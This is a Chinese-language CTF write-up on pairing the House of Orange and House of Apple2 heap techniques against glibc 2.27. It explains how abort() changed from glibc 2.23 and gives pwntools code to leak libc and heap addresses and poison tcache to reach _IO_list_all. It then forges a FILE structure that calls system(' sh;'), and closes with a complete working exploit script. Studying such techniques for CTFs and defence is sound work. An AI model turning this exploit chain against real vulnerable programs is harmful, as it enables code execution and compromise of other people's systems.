libc2.27下的house of orange+house of apple2
字数 1363 2025-08-20 18:17:53

Libc2.27下的House of Orange + House of Apple2攻击技术分析

前言

本文详细分析在libc2.27环境下结合House of Orange和House of Apple2的攻击技术。与libc2.23相比,libc2.27的abort()函数移除了IO相关处理,这使得传统的House of Orange攻击方式需要调整。

malloc_assert在libc2.23与libc2.27的不同

libc2.23的__malloc_assert

static void __malloc_assert(const char *assertion, const char *file, unsigned int line, const char *function) {
    (void) __fxprintf(NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
                      __progname, __progname[0] ? ": " : "",
                      file, line,
                      function ? function : "", function ? ": " : "",
                      assertion);
    fflush(stderr);
    abort();
}

在libc2.23中,abort()函数包含IO处理相关函数:

void abort(void) {
    struct sigaction act;
    sigset_t sigs;
    // ... 省略部分代码 ...
    
    /* Flush all streams. We cannot close them now because the user
       might have registered a handler for SIGABRT. */
    if (stage == 1) {
        ++stage;
        fflush(NULL);
    }
    // ... 省略部分代码 ...
    
    /* Now close the streams which also flushes the output the user
       defined handler might has produced. */
    if (stage == 4) {
        ++stage;
        __fcloseall();
    }
    // ... 省略部分代码 ...
}

libc2.27的__malloc_assert

libc2.27的abort()函数移除了IO处理相关代码:

void abort(void) {
    struct sigaction act;
    sigset_t sigs;
    // ... 省略部分代码 ...
    
    /* Send signal which possibly calls a user handler. */
    if (stage == 1) {
        int save_stage = stage;
        stage = 0;
        __libc_lock_unlock_recursive(lock);
        raise(SIGABRT);
        __libc_lock_lock_recursive(lock);
        stage = save_stage + 1;
    }
    // ... 省略部分代码 ...
}

攻击思路演变

  1. 传统House of Orange的限制

    • 难以实现像tcache poison一样的任意地址申请
    • 通常通过unsorted bin attack触发malloc_assert,利用abort中的IO处理函数遍历_IO_list_all进行IO攻击
    • libc2.27中abort移除了IO处理,传统方法失效
  2. 新的攻击思路

    • 结合House of Orange和House of Apple2
    • 利用libc2.27引入的tcache机制进行tcache poison
    • 最终实现任意地址申请和任意地址写任意值

攻击步骤详解

1. 泄露libc基址和堆基址

add(0x8)
edit(0, 0x20, b"a"*0x18 + p64(0xD91))
add(0x1000)
add(0x400)
edit(0, 0x20, b"a"*0x18 + b"a"*8)
show(0)
p.recvuntil("a"*0x20)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x3EBCA0 - 0x600
print(f"libc: {hex(libc.address)}")

edit(0, 0x30, b"a"*0x30)
show(0)
p.recvuntil("a"*0x30)
heap_addr = u64(p.recv(6).ljust(8, b"\x00")) - 0x270
print(f"heap: {hex(heap_addr)}")

2. 利用House of Orange+让top chunk进入tcache bin

add(0x310)
add(0x5F0 + 0x30)
add(0xF60)
edit(5, 0xF70, b"a"*0xF60 + p64(0) + p64(0x81))  # 伪造top chunk大小
add(0x100)
edit(5, 0xF78, b"a"*0xF60 + p64(0) + p64(0x81) + p64(libc.sym['_IO_list_all']))
add(0x58)
add(0x58)

关键点

  • 扩展top chunk时,进入unsorted bin或tcache bin的top chunk大小会小0x20
  • 因此使用p64(0x81)后面是add(0x58)

3. libc2.27的House of Apple2

由于题目有沙箱限制,不能直接攻击malloc_hookone_gadget,转而攻击IO结构:

ioaddr = heap_addr + 0x260
payload = p64(0)*2 + p64(1) + p64(2)  # 满足FSOP条件
payload = payload.ljust(0x78, b'\x00') + p64(heap_addr)  # lock
payload = payload.ljust(0x90, b'\x00') + p64(ioaddr + 0xe0)  # _wide_data
payload = payload.ljust(0xc8, b'\x00') + p64(libc.sym['_IO_wfile_jumps'])  # vtable
payload = payload.ljust(0xd0 + 0x130, b'\x00') + p64(ioaddr + 0xe0 + 0x138)  # _wide_data->vtable
payload = payload.ljust(0xd0 + 0x138 + 0x68, b'\x00') + p64(libc.sym['system'])
payload = b' sh;\x00\x00\x00' + p64(0) + payload

edit(0, len(payload), payload)
edit(8, 8, p64(heap_addr + 0x260))
choice(0)  # 触发exit,执行IO攻击

libc2.27的特殊调整

  • wide_datavtable偏移为0x130(高版本为0xe0)
  • 需要正确设置_wide_data->vtable指针

其他可能的攻击方式

有了任意地址申请能力后,还可以考虑:

  1. 攻击tcache_pthread_struct控制tcache
  2. 利用environ泄露栈地址进行ROP
  3. 直接修改__free_hook__malloc_hook

调试技巧

当题目提供的libc没有符号表时:

  • 从glibc-all-in-one中找到相同版本的有符号表的libc
  • 这样pwndbg可以更好地设置断点进行调试

完整EXP

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.134.27',36901)
elf = ELF("/home/zp9080/PWN/pwn")
libc = elf.libc

def dbg():
    gdb.attach(p, 'b *$rebase(0x1B56)')
    pause()

def choice(idx):
    p.sendlineafter("exit:\n", str(idx))

def add(size):
    choice(1)
    p.sendlineafter("add:\n", str(size))

def show(idx):
    choice(3)
    p.sendlineafter("show:\n", str(idx))
    p.recvuntil(f" {idx} : ")

def edit(idx, size, data):
    choice(4)
    p.sendlineafter("edit:\n", str(idx))
    p.sendlineafter("size\n", str(size))
    p.sendafter("input\n", data)

# 泄露libc和heap地址
add(0x8)
edit(0, 0x20, b"a"*0x18 + p64(0xD91))
add(0x1000)
add(0x400)
edit(0, 0x20, b"a"*0x18 + b"a"*8)
show(0)
p.recvuntil("a"*0x20)
libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x3EBCA0 - 0x600
print(f"libc: {hex(libc.address)}")

edit(0, 0x30, b"a"*0x30)
show(0)
p.recvuntil("a"*0x30)
heap_addr = u64(p.recv(6).ljust(8, b"\x00")) - 0x270
print(f"heap: {hex(heap_addr)}")

# House of Orange+攻击
add(0x310)
add(0x5F0 + 0x30)
add(0xF60)
edit(5, 0xF70, b"a"*0xF60 + p64(0) + p64(0x81))
add(0x100)
edit(5, 0xF78, b"a"*0xF60 + p64(0) + p64(0x81) + p64(libc.sym['_IO_list_all']))
add(0x58)
add(0x58)

# House of Apple2攻击
ioaddr = heap_addr + 0x260
payload = p64(0)*2 + p64(1) + p64(2)
payload = payload.ljust(0x78, b'\x00') + p64(heap_addr)
payload = payload.ljust(0x90, b'\x00') + p64(ioaddr + 0xe0)
payload = payload.ljust(0xc8, b'\x00') + p64(libc.sym['_IO_wfile_jumps'])
payload = payload.ljust(0xd0 + 0x130, b'\x00') + p64(ioaddr + 0xe0 + 0x138)
payload = payload.ljust(0xd0 + 0x138 + 0x68, b'\x00') + p64(libc.sym['system'])
payload = b' sh;\x00\x00\x00' + p64(0) + payload

edit(0, len(payload), payload)
edit(8, 8, p64(heap_addr + 0x260))
choice(0)

p.interactive()

总结

本文详细分析了在libc2.27环境下结合House of Orange和House of Apple2的攻击技术,重点包括:

  1. libc2.27与libc2.23在abort实现上的差异
  2. 如何利用House of Orange+实现tcache poison
  3. 在libc2.27中调整House of Apple2攻击的特殊处理
  4. 完整的攻击流程和EXP实现

这种组合攻击技术在没有直接任意地址写的情况下,通过精心构造堆布局和IO结构,最终实现了任意代码执行。

Libc2.27下的House of Orange + House of Apple2攻击技术分析 前言 本文详细分析在libc2.27环境下结合House of Orange和House of Apple2的攻击技术。与libc2.23相比,libc2.27的 abort() 函数移除了IO相关处理,这使得传统的House of Orange攻击方式需要调整。 malloc_ assert在libc2.23与libc2.27的不同 libc2.23的 __malloc_assert 在libc2.23中, abort() 函数包含IO处理相关函数: libc2.27的 __malloc_assert libc2.27的 abort() 函数移除了IO处理相关代码: 攻击思路演变 传统House of Orange的限制 : 难以实现像tcache poison一样的任意地址申请 通常通过unsorted bin attack触发malloc_ assert,利用abort中的IO处理函数遍历 _IO_list_all 进行IO攻击 libc2.27中abort移除了IO处理,传统方法失效 新的攻击思路 : 结合House of Orange和House of Apple2 利用libc2.27引入的tcache机制进行tcache poison 最终实现任意地址申请和任意地址写任意值 攻击步骤详解 1. 泄露libc基址和堆基址 2. 利用House of Orange+让top chunk进入tcache bin 关键点 : 扩展top chunk时,进入unsorted bin或tcache bin的top chunk大小会小0x20 因此使用 p64(0x81) 后面是 add(0x58) 3. libc2.27的House of Apple2 由于题目有沙箱限制,不能直接攻击 malloc_hook 和 one_gadget ,转而攻击IO结构: libc2.27的特殊调整 : wide_data 的 vtable 偏移为0x130(高版本为0xe0) 需要正确设置 _wide_data->vtable 指针 其他可能的攻击方式 有了任意地址申请能力后,还可以考虑: 攻击 tcache_pthread_struct 控制tcache 利用 environ 泄露栈地址进行ROP 直接修改 __free_hook 或 __malloc_hook 调试技巧 当题目提供的libc没有符号表时: 从glibc-all-in-one中找到相同版本的有符号表的libc 这样pwndbg可以更好地设置断点进行调试 完整EXP 总结 本文详细分析了在libc2.27环境下结合House of Orange和House of Apple2的攻击技术,重点包括: libc2.27与libc2.23在abort实现上的差异 如何利用House of Orange+实现tcache poison 在libc2.27中调整House of Apple2攻击的特殊处理 完整的攻击流程和EXP实现 这种组合攻击技术在没有直接任意地址写的情况下,通过精心构造堆布局和IO结构,最终实现了任意代码执行。